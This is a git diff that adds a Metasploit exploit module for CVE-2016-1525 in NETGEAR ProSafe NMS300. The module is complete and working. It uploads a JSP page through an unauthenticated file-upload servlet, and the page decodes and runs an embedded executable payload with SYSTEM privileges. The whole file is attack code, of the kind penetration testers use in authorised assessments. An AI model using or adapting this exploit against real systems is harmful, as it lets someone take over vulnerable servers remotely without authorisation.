diff --git a/modules/exploits/windows/http/netgear_nms_rce.rb b/modules/exploits/windows/http/netgear_nms_rce.rb new file mode 100644 index 0000000000..e7db7ee64c --- /dev/null +++ b/modules/exploits/windows/http/netgear_nms_rce.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload', + 'Description' => %q{ + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. + The application has a file upload vulnerability that can be exploited by an + unauthenticated remote attacker to execute code as the SYSTEM user. + Two servlets are vulnerable, FileUploadController (located at + /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do). + This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and + 1.1.0.13. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and updated MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-1525'], + ['US-CERT-VU', '777024'], + ['URL', 'TODO_GITHUB_URL'], + ['URL', 'TODO_FULLDISC_URL'] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Privileged' => true, + 'Targets' => + [ + [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 4 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, "Application path", '/']) + ], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), + 'method' => 'GET' + }) + if res && res.code == 405 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + + def generate_jsp_payload + exe = generate_payload_exe + base64_exe = Rex::Text.encode_base64(exe) + payload_name = rand_text_alpha(rand(6)+3) + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit + jsp_payload = generate_jsp_payload + + jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) + jsp_full_name = "null" + jsp_name + ".jsp" + post_data = Rex::MIME::Message.new + post_data.add_part(jsp_name, nil, nil, "form-data; name=\"name\"") + post_data.add_part(jsp_payload, + "application/octet-stream", 'binary', + "form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"") + data = post_data.to_s + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name + ".jsp"}"/ + print_status("#{peer} - Payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name), + 'method' => 'GET' + }) + handler + end +end